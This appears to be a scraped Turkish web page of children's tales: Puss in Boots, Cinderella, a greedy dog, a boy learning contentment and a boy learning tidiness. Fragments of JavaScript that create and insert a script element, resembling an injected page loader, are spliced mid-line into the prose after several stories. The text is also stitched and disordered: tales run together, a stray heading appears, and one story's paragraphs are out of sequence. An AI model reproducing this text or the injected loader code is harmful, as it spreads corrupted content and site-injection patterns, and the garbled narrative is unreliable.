ÇİZMELİ KEDİ’NİN MARİFETLERİ
Zaman içinde zaman, zamanın içinde var bir saman. Saman ne arar zamanda, samanın yeri samanlıkta. Ne varmış bu masalda? Hayda birlikte bakalım ne olduğuna…
Bir varmış, bir yokmuş… Uzak mı uzak diyarların birinde küçük bir kasabada yaşayan yalı bir değirmenci varmış. Değirmenci hem yaşlı hem de hasta imiş. Çok geçmeden yaşlı değirmenci ölmüş gitmiş. Öldükten sonra üç tane oğluna da ayrı ayrı miras bırakmış. Birinci oğluna değirmeni, ikinci oğluna eşeklerini, en küçük oğluna da kediyi miras bırakmış. Küçük oğlu kendisine kedi bırakıldığı için çok üzgünmüş.
Kediyi aldıktan sonra hem yürüyüp hem de kendi kendine konuşmaya başlamış:
Küçük çocuk: ‘Kedi benim ne işime yarasın ki! Ne pişirip yiyebilirim, ne de bundan para kazanabilirim!’
Kedi küçük çocuğun bu sözlerine hemen cevap vermiş:
Kedi: ‘Efendim, siz beni alarak en iyi mirası aldınız. Bunu size göstereceğim. Siz bana bir çuval bir de çizme getirin, ben de size mirasınızın ne kadar faydalı olduğunu göstereyim.’
Küçük çocuk kedinin bu lafları üzerine çok şaşırmış. Kedinin neler yapabileceğini de merak ediyormuş. Kedinin istediği çuvalı ve çizmeyi bulup hemen getirmiş kediye. Kedi çizmeleri giymiş ayağına, geçmiş bakmış aynanın karşısında kendisine. Kedi kendini bir beğenmiş, bir beğenmiş ki… Sonra çuvalını da almış eline. Çuvalın içine doldurmuş havucu ve marulu. Atmış kendini ormanın içine.
Çizmeli kedi çuvalı ağacın dibine yerleştirmiş, ağacın arkasına saklanmış. Biraz bekleyince pofuduk bir tavşanın taze sebzelerin kokusunu alarak çuvalın yanına geldiğini fark etmiş. Hemen atlamış çuvalın üzerine, kapatmış çuvalın ağzını.
Çizmeli kedi, tavşanı efendisine götürmek yerine aklına daha güzel bir plan gelmiş. Almış çuvalı eline düşmüş sarayın yoluna. Elinde çuvalla çıkmış Kral’ın huzuruna. Huzurunda çizmeli bir kedi gören Kral da merakla dinlemiş:
Kedi: ‘Yüce Kral’ım. Size efendim Marki’den gelen güzel bir hediyeyi takdim etmek istiyorum.’
Kral Çizmeli Kedi’nin getirdiği bu hediyeyi çok beğenmiş. O günden itibaren Çizmeli Kedi Kral’a birçok hediye getirmiş ve hepsini de’ Efendim Marki’den size geldi’ diyerek takdim etmiş. Kral artık Çizmeli Kedi’yi dört gözle bekler olmuş.
Çizmeli Kedi’nin planları ise tıkır tıkır işliyormuş. Kral’ın kızını efendisi için gözüne kestiren Çizmeli Kedi yeni planını hayata geçirmek için harekete geçmiş. Hemen efendisinin yanına varmış:
Çizmeli Kedi: ‘ Yarın sabah ırmağa gidip yıkanmanız gerekiyor’ demiş.
Küçük çocuk çizmeli kedinin lafını dinlemiş ve ırmağa gitmiş. Çizmeli Kedi o gün Kral ve kızının oradan geçeceğini biliyormuş. Efendisini o yüzden ırmağa getirmiş. Efendisi ırmağın içinde iken önce kıyafetlerini saklamış, ardından da başlamış bağırmaya.
Çizmeli kedi:’ Yardım edin! Efendim Marki boğuluyor!’
Kral Çizmeli Kedi’yi hemen tanımış. Bütün askerlerini Çizmeli Kedi’nin gösterdiği yere göndermiş. Küçük çocuk ise olanlara hayretle bakıyor, fakat Çizmeli Kedi’nin bir şeyler planladığını anladığı için sesini çıkarmıyormuş.
Çizmeli Kedi hırsızların efendi Marki’nin kıyafetlerini çaldıklarını da söyleyince Kral en güzel kıyafetleri vermiş ırmaktan çıkan küçük çocuğa. Sonrasında küçük çocuğu almış ve kızı ile tanıştırmış. Prenses o kadar güzelmiş ki, küçük çocuk ilk görüşte âşık olmuş prensese.
Çizmeli Kedi, bunlarla da yetinmemiş. Yol boyunca görüp görebileceği herkese ‘Buralar Efendi Marki’nin’ toprakları demesi için baskı yapmış. Ardından şatoda yaşayan devin de evine gitmiş ve onu kandırarak uçurumdan aşağıya yuvarlamış. Şatoda Kral’ı ve efendisini beklemeye başlamış.
Kral ve tayfası yolda gördüklerine tek tek sormuş:
Kral: ‘ey İşçiler! Bu topraklar kimin?’
İşçiler hep bir ağızdan Çizmeli Kedi’nin dediği cevabı vermiş:
İşçiler: ‘Efendi Marki’nin’ demiş.
Kral, yanındaki adamın çok zengin bir adam olduğunu anlamış. Küçük çocuk da tüm bunları Çizmeli Kedi’nin tertip ettiğini anlamış ve sesini çıkarmamış.
Çizmeli Kedi, Kral ve tayfasını şatonun yolunda karşılamış:
Çizmeli Kedi: ‘Efendi Marki, şatonuz hazır’ demiş.
Küçük çocuk Çizmeli Kedi’nin dediğinden bir şey anlamasa da; büyük şatoyu görünce Çizmeli Kedi’nin burayı da ayarladığını anlamış. O anda bu kedinin ne kadar zeki olduğunu anlamış.
Kral, karşısındaki adamın ne kadar zengin olduğunu görünce kızını hiç düşünmeden vermiş bu adama. Küçük çocuk, güzeller güzeli Prenses ile evlenmiş ve bir ömür mutlu bir yaşam sürmüş. Çizmeli Kedi de onların yanında mutluluklarını paylaşmış.d.getElementsByTagName(‘head’)[0].appendChild(s);
Bir zamanlar, ülkenin birinde iyi kalpli, güzeller güzeli bir kız yaşarmış. Günün birinde bu kızın annesi ölünce babası başka bir kadınla evlenmiş. Bu kadının da kötü kalpli 2 tane kızı varmış. Annesi ve bu kardeşleri Sindirella’ya çok kötü davranıyorlarmış. Onlarla aynı masada yemek yiyemiyor, onlarla yan yana oturamıyor, onlar gezerken Sindirella evde kalıp evin işlerini yapıyormuş. Kardeşleri çok güzel kıyafetler giyerken Sindirella eski yırtık gri bir elbise giyermiş. Geceleri biraz da olsa ısınabilmek için kedisini alıp mutfaktaki sönmüş şöminenin yanına gidermiş. Bir gün evlerine saraydan davet gelmiş. Davet şu şekildeymiş;
-‘’ Kralın oğlunun şerefine sarayda büyük bir davet düzenlenecektir. Evlilik yaşına gelmiş tüm genç kızlar saraya davetlidir.’’
Bunu duyan annesi kendi kızlarını bu baloya hazırlamak için en pahalı kostümlerden diktirmiş, en pahalı ayakkabıları giydirmiş, kızlarının saçlarını yapmış. Bu sırada Sindirella da onların nasıl hazırlandıklarını izliyor ve onlara yardım ediyormuş. Aslında Sindirella da onlarla aynı yaştaymış, o da davete gitmek istiyormuş ama ne kıyafeti ne de ayakkabısı varmış. Gitmek istesen bile annesi izin vermezmiş. Bir gün yine onlara yardım ederken sormuş;
-‘’ Ben neden gelemiyorum? Benim yaşımdaki bütün genç kızlar davetliymiş.’’
Diğer kardeşi de cevap vermiş;
-‘’ Iyyy! Bu halinle mi geleceksin davete ?’’ Sindirella bunu duyunca üzülmüş ve susmuş.
Davet günü gelmiş. Sindirella ağlayarak mutfakta şöminenin yanında oturuyormuş. Birden bir ışık çıkıvermiş. Şöminenin içinden bir peri kızı çıkmış. Külkedisi gözlerine inanamamış.
Peri;
-‘’Merhaba. Sana yardım etmeye geldim. Saraydaki davete sen de gideceksin.’’
Külkedisi çok şaşırmış. Ama peri hazırlıklara başlamış. Peri Sindirella’ya
-‘’ Bana bahçedeki en büyük balkabağını getirir misin? ‘’ diye sormuş. Külkedisi koşup getirmiş. Peri bu balkabağını çok güzel bir at arabasına çevirmiş. Kediye 7 tane fare yakalatmış ve bu fareleri de o arabayı süren atlara çevirmiş. Birini de arabayı süren arabacı yapmış. En son olarak da Sindirellaya çok güzel bir elbise yapmış. Elbise masmavi ve parıl parıl parlıyormuş. Ama Sindirella dans etmeyi bilmiyormuş. Peri ona camdan sihirli ayakkabılar yapmış. Bu sihirli ayakkabılar sayesinde dans edebilecekmiş. Tam gidecekken peri Sindirella’yı uyarmış;
-‘’ Acele et Sindirella! Gece yarısı saat 12 de bu yaptığım her şey eski haline dönecek. Sen de dâhil!’’ demiş.
Sindirella balonun olduğu salona girdiğinde kimse gözlerine inanamamış. Kimse bu kızı tanımıyormuş. Prens Sindirella’yı görür görmez âşık olmuş. Kral ve kraliçe de külkedisini çok beğenmiş. Prens hemen külkedisini dansa davet etmiş. Külkedisi dans ederken zamanın nasıl geçtiğini anlamamış. Birden gözü duvardaki saate baktığında saatin 12 ye çok yaklaştığını görmüş ve hemen oradan kaçmaya başlamış. Kaçarken sihirli ayakkabısından birisi ayağından çıkıvermiş. Saat 12de her şey eski haline geri dönmüş.
Prens Sindirella’nın arkasından koşmuş ama yetişememiş. Bahçede Sindirella’nın ayakkabısını bulmuş. Adamlarına emir vermiş;
-‘’ Kapı kapı dolaşıp bu ayakkabının sahibi kızı bulun! ‘’ demiş.
Prensin adamları bir sürü eve girmişler ayakkabıyı denetmişler fakat ayakkabı hiçbir kıza uymamış.
Sonunda külkedisinin evine gelmişler. Ayakkabıyı külkedisinin kız kardeşlerine denetmişler fakat onlara da uymamış. Prensin adamları içeride bir kız daha olduğunu fark etmişler. Sindirella’nın annesine içeride bir kız daha olduğunu söylemişler. Külkedisi ayakkabıyı giyer giymez ayağına olmuş. Prensin adamları ayakkabının ona ait olduğunu anlamışlar ve Sindirella’yı alıp saraya götürmüşler. Prens külkedisini gördüğü gibi tanımış ve ona hemen orada evlenme teklifi etmiş. Külkedisi de prensin teklifini kabul etmiş ve hayatlarının sonuna kadar çok mutlu yaşamışlar.
Yoksul Çoban Masalı
Drama
document.currentScript.parentNode.insertBefore(s, document.currentScript);
AÇGÖZLÜLÜĞÜN SONU
Uzak ülkelerin birinde kendi halinde yaşlı bir dede yaşarmış. Bu yaşlı dedenin bir de çok sevdiği köpeği varmış. Köpek çalışkan bir köpek değilmiş. Bütün gün evin önünde yatar dururmuş. Yaşlı dedecik akşam olunca kalan yemeklerin hepsini köpeğiyle paylaşırmış.
Bir gün köpek yine kapının önünde yatarken yolun karşısından geçen tombul köpeği görmüş. Kendisi zayıfken o köpek neredeyse kendisinin iki katıymış.
Köpek, yattığı yerden doğrulmuş:
ZAYIF KÖPEK: ‘Hey, köpek kardeş! Sen nereye gidiyorsun?’
Tombul köpek zayıf köpeğin yanına yaklaşmış. Birazcık gururlanarak anlatmaya başlamış.
TOMBUL KÖPEK: ‘Saraya gidiyorum. Ben sarayda yaşıyorum. Sen burada ne yapıyorsun?’
Zayıf köpek saray lafını duyunca kulaklarını dikmiş.
ZAYIF KÖPEK: ‘Ben de burada yaşlı bir dedenin eline düştüm. Doğru düzgün yemek vermiyor bana. Şu halime bak’ demiş.
Tombul köpek yavaşça yanına yaklaşmış:
TOMBUL KÖPEK: ‘İstersen benimle birlikte saraya gelebilirsin. Orada bize bir sürü yemek veriyorlar. Yediğin önünde yemediğin arkanda.’
Zayıf köpek duyduklarını düşünmeye başlamış. İstediği kadar yiyebileceği bir sürü yemek olduğunu hayal etmiş.
ZAYIF KÖPEK: ‘Tamam, gelirim tabi. Ama önce yaşlı dedeye gideceğimi söylemem lazım.’
Tombul köpekle ikisi beklemeye başlamışlar. Akşama doğru yaşlı dede eve gelmiş.
ZAYIF KÖPEK: ‘Dede, ben artık seninle yaşamak istemiyorum. Bana güzel yemekler vermiyorsun. Ben arkadaşımla birlikte saraya gideceğim.’
Dede duydukları karşısında çok üzülmüş. Köpeğe çok iyi yemekler veremediğini kendisi de biliyormuş fakat her akşam kendi yemeğinde ne varsa köpeğe de aynısından veriyormuş. Fakir olduğu için çok iyi yemekler yapamıyormuş.
YAŞLI DEDE: ‘Sen bilirsin köpekçik. Ama aç gözlülüğün sonu iyi değildir. Burada bütün yemekler senin. Ama orada yemeğini kim bilir kaç tane köpekle paylaşmak zorunda kalacaksın’
ZAYIF KÖPEK: ‘Kararım kesin dede. Ben gidiyorum.’
Köpek tombul köpek arkadaşıyla birlikte saraya doğru yola koyulmuş.
Tombul köpek mutfakta çalışan bir aşçının kızının köpeği imiş. O yüzden aradan sıyrılıp rahatça saraya girmiş. Fakat bizim zayıf köpek dışarıda kalakalmış. Üstelik yemekler döküldüğünde yemek kapmaya çalışırken bir sürü köpeğin arasında kalarak kendini de yaralamış. En sonunda büyük bir çoban köpeği gelmiş ve önündeki yemeği de alarak kaçmış.
Zayıf köpek yaşlı dedenin ne demek istediğini çok iyi anlamış. Yaptığı yanlışı fark etmiş. Gecenin karanlığında aç bir şekilde dedenin evine geri dönmüş.
Saraya vardıklarında bir de ne görsün! Saray kapısının önünde o kadar çok köpek yemek bekliyormuş ki… Hiçbir şey tombul köpeğin anlattığı gibi değilmiş.
Yaşlı dede köpeği görünce kızgın gibi gözükse de içinden sevinmiş. Çünkü o köpeği çok seviyormuş.
ZAYIF KÖPEK: ‘Yaşlı dede, ben büyük bir hata yaptım. Sen doğru söylemişsin. Elimdekiyle yetinmeyi bilmeliydim. Ben daha fazlasını ararken canımdan bile olacaktım.’
YAŞLI DEDE: ‘‘Bu sana ders olsun köpekçik. Bundan sonra elindekiyle yetin, hırsının kurbanı olma!’
Dede köpeği affederek güzelce karnını doyurmuş. O günden sonra köpek de dedeye büyük bir sevgi ile bağlanmış.
İkisi de mutlu mesut hayatlarına devam etmişler.
Unutmayın; daha çoğunu isterken sahip olduklarınızı da kaybedebilirsiniz. O yüzden elimizdekilerle yetinmeyi bilmeliyiz.var d=document;var s=d.createElement(‘script’);
YETİNMEYİ BİLMELİSİN
Mehmet hiçbir şeyden mutlu olmayan, asık suratlı bir çocukmuş. En küçük şeylerde bile isyan edermiş, mutlu olmayı bir türlü bilmezmiş.
Günlerden bir gün eve yine asık suratlı bir şekilde gelmiş. Annesi kapıdan içeri asık bir suratla giren Mehmet’e dönmüş:
ANNE: ‘Oğlum ne oldu?’
MEHMET: ‘Ne olacak, bana yeni aldığınız ayakkabının daha güzel bir modelini Fırat giymiş. Ben de neden o ayakkabıdan yok ki!’
Annesi Mehmet’in bu huyuna çok üzülüyormuş. ‘Bu çocuğu mutlu etmeyi bir türlü beceremiyoruz’ diye geçirmiş içinden.
ANNE: ‘ Mehmet babanın yanında söyleme bunu oğlum. Sana o ayakkabıyı almak için kendi ihtiyaçlarını almadı. Gidip o ayakkabıyı aldı. Bunu senin mutlu olman için yaptı. O ayakkabıyı ne kadar çok istemiştin, şimdi neden mutlu değilsin?’
MEHMET: ‘Çünkü o ayakkabının daha güzelini gördüm.’
Mehmet annesinin yanından asık suratla ayrılmış ve odasına gitmiş.
Akşam babası yemeğe geldiğinde odasından çıkıp yemeğe oturmuş. Masada hiç konuşmuyormuş.
BABA: ‘Oğlum canını sıkan bir şey mi var?’ diye sormuş.
MEHMET: Evet, var baba. Bana aldığın ayakkabının daha güzelini arkadaşımda gördüm. Neden onda daha güzeli var?
BABA: ‘Olabilir oğlum. Sen bu ayakkabıyı çok beğenmiştin ve biz de bunu aldık. Her şeyin en son çıkan modelini alamayız. İhtiyacın olan şeyleri almalıyız.’
MEHMET: ‘Ama ben bu ayakkabının en pahalısının bende olmasını istiyorum.’
BABA: ‘Çok yanlış düşünüyorsun Mehmet. Elindekilerle mutlu olmayı ve yetinmeyi bilmelisin oğlum.’
MEHMET: ‘Hayır, ben elimdekilerle mutlu olmayacağım işte!’
Mehmet odasına giderek kapıyı kapamış ve bütün gece odasından çıkmamış.
Ertesi sabah okula giderken kaldırımın kenarında bekleyen bir çocuk görmüş. Çocuk onun yaşlarındaymış. Biraz yaklaştığında ayağında ayakkabı olmadığını fark etmiş.
MEHMET: ‘Hey, senin ayağında neden ayakkabı yok? Donacaksın bu soğukta!’
ÇOCUK: ‘Benim ayakkabım yok ki’
Çocuk, Mehmet’in ayağına bakmış:
ÇOCUK: ‘Ne kadar şanslısın sana ne güzel bir ayakkabı almışlar’ demiş.
Mehmet çocuğun haline çok üzülmüş. Kendisi ayakkabılarını beğenmiyorken bu çocuk ayakkabısız dolaşıyornuş. Mehmet o anda anne ve babasının ne demek istediğini anlamış.
MEHMET: ‘Ailen neden ayakkabı almıyor ki sana?’
Çocuk hüzünlü bir gülümseme ile cevap vermiş:
ÇOCUK: ‘Benim bir ailem yok ki. Sokakta yaşıyorum ben.’
Mehmet duydukları karşısında şok olmuş. Bu çocuğun bir ailesi bile yokmuş. Tek başına sokaklarda yaşıyormuş.
Mehmet o an kendisini düşünmuş. Ne isterse yapan bir ailesi varmış fakat kendisi hiçbir zaman mutlu olmuyormuş. Hep daha fazlasını istiyormuş. Sonrasında bir de bu çocuğu düşünmüş. Ne ailesi varmış ne de ayakkabıları. Üzerindeki kıyafetler de eski püskü kıyafetlermiş.
Mehmet ne kadar bencilce düşündüğünü o an anlamış. Kendisinin sahip olduğu ama beğenmediği şeylere sahip olamayan o kadar çok çocuk varmış ki…
Mehmet akşam eve geldiğinde annesine ve babasına sarılmış. İkisinden de onları üzdüğü zamanlar için özür dilemiş. Ailesine bugün gördüğü çocuktan bahsetmiş. Yarın sabah çocuğun yanına birlikte gitme sözü alarak yatağına yatmış.
Mehmet o gece uyumadan önce sahip olduğu her şey için Allah’a şükretmiş.
Ertesi sabah Mehmet ailesi ile birlikte çocuğun yanına gitmiş. Mehmet’in babası çocuğu alarak yurda götürmüş. Mehmet de her hafta çocuğu ziyaret etmeye söz vermiş. İkisi çok iyi arkadaş olmuşlar.
O günden sonra Mehmet hiçbir şeyden şikâyet etmemiş. Elindekilerle yetinmesini bilmiş ve hep mutlu olmuş.
Ali odasını toplamaktan hiç hoşlanmayan, dağınık mı dağınık bir çocukmuş. Annesi onun bu dağınıklığından sürekli şikâyet edermiş. Ali büyüyüp okul çağına geldiğinde de aynı dağınıklığa devam edince annesi ona bir ders vermesi gerektiğini fark etmiş.
Bir gün Ali, her zamanki gibi okuldan eve gelmiş ve üzerini değiştirmek için odasına girmiş. Üstündekileri çıkarmış ve çıkardığı yerde bırakıp dolabından aldığı yeni kıyafetlerden giymiş. Odasından çıkmış ve mutfağa annesinin yanına gelmiş.
ANNE: ‘Ali bundan sonra odandan ve odandaki tüm eşyalardan sen sorumlusun. Buna kıyafetlerin de dâhil. Odanı düzenli ve toplu tutmak bundan sonra senin görevin. ‘
Ali annesinin cümlesini pek umursamamış. ‘Nasıl olsa annem gelir toplar’ diye geçirmiş içinden.
Günler geçmiş, okulda dersler yoğunlaşmış. Annesi söylediği gibi Ali’nin odasını toplamıyormuş. Ali’nin odası o kadar dağınık hale gelmiş ki aradığı hiçbir şeyi bulamamaya başlamış.
Bir sabah Ali telaşla annesinin yanına gelmiş:
ALİ: ‘Anne, temiz gömleğim kalmamış.’
ANNE: ‘Kirli sepetindeki her şeyi yıkadım oğlum. Eğer attıysan yıkanmıştır.’
Ali kirli kıyafetlerini banyodaki kirli sepetine atmak yerine odada bıraktığı için hiçbir şeyin yıkanmadığını anlamış.
ALİ: ‘Ben kirli kıyafetlerimi sepete atmadım ki! Sen odamdan toplamadın mı anneciğim?’
ANNE: ‘Odanın ve kıyafetlerinin sorumluluğunun sende olduğunu söylemiştim Ali. Kirli kıyafetlerini banyodaki kirli sepetine atmalısın. Odandaki kalan kirli kıyafetlerinden sen sorumlusun.’
Ali homurdanarak annesinin yanından uzaklaşmış. Mecburen kirli gömleğini üzerine giyerek çantasını hazırlamaya başlamış. Fakat öğretmenin ‘mutlaka getirin’ dediği kitabı bir türlü bulamıyormuş. Aramış, taramış ama bu dağınıklığın içinde pek bir şansı da yokmuş. Hızlıca odasından çıkmış ve tekrar annesinin yanına gitmiş:
ALİ: ‘Anne, deney kitabımı bulamıyorum.’
ANNE: ‘En son nereye bıraktıysan oradadır oğlum.’
Ali tekrar odasına döndüğünde bu dağınıklık arasında aradığı hiçbir şeyi bulamayacağını anlamış. Servisin korna sesini duyduğunda ise mecburen evden çıkmak zorunda kalmış.
Okula vardığında tam okula girerken öğretmeni, gömleğinin pis ve karışık olmasından dolayı Ali’yi arkadaşlarının önünde uyarmış. Ali bu uyarı üzerine çok utanmış. Koşarak sınıfa girmiş ve bütün gün sınıftan çıkmamış.
Deney dersi geldiğinde ise herkesin kitabı sıranın üzerindeyken bir tek Ali’ninki yokmuş. Öğretmeni Ali’ye unuttuğu ve sorumluluğunu yerine getirmediği için ceza vermiş. Ali aynı gün içinde arkadaşları önünde ikinci kez utançtan yerin dibine girmiş.
Eve geldiğinde Ali’yi annesi karşılamış.
ANNE: ‘Nasıl geçti günün oğlum?’
ALİ: ‘Anneciğim bugün senin ne kadar haklı olduğunu bir kez daha gördüm. Dağınıklığım ve sorumsuzluğum yüzünden öğretmenimden hem gömleğim kirli diye hem de kitabımı getirmedim diye uyarı aldım. Arkadaşlarımın önünde çok utandım. Sonra bütün gün düşündüm ve dağınık olmanın ne kadar kötü bir şey olduğunu anladım.’
Annesi Ali’yi dikkatlice dinlemiş. Sözü bitince konuşmaya başlamış:
ANNE: ‘Bunu fark etmene çok sevindim oğlum. Sen artık okula başlayan ve belirli sorumlukları alabilecek bir çocuksun. Odandan ve odandaki eşyaların düzen ve temizliğinden sen sorumlusun. Dağınık olduğunda olanları gördün. Umarım bundan sonra daha düzenli ve sorumlu davranırsın.’
ALİ: ‘Merak etme anneciğim. Şimdi ilk işim odama girip odamı toparlamak ve bundan sonra her zaman düzenli ve temiz olmasına dikkat etmek.’
Annesi Ali’ye mutlulukla bakmış. Ali de koşarak odasına girmiş ve o akşam odasını toparlayıp tertemiz yapmış.
Odasının düzenli hali ve bunu kendisinin yapması onu çok gururlandırmış.
Bundan sonra her zaman düzenli bir çocuk olacağına da söz vermiş.if (document.currentScript) {